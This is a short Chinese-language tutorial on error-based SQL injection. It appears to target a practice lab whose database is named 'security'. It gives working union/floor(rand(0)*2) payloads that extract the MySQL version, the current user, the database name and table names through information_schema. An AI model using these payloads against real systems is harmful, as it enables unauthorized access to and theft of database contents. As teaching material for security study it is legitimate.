SQL注入进阶篇——SQL盲注(基于报错)
基于报错注入
报错注入原理:
当我们在掌握了盲注的技巧后,发现当我们闭合了第一个参数后有明显的报错信息,我们就可以考虑基于报错的注入了
先来个一个爆当前数据库的版本:
?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+
**当前数据库的的用户和当前所在的数据,发现当前的用户为root,当前的数据库为security
?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+
?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+
**当前的数据下的所以表的名字,同过修改limit 后面的参数来判断当前数据库下有多少表,当我们输入4的时候没报错就正面当前有4个表
注:limit是从0开始的
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x3a,0x3a,floor(rand(0)*2) ) a from information_schema.tables group by a --+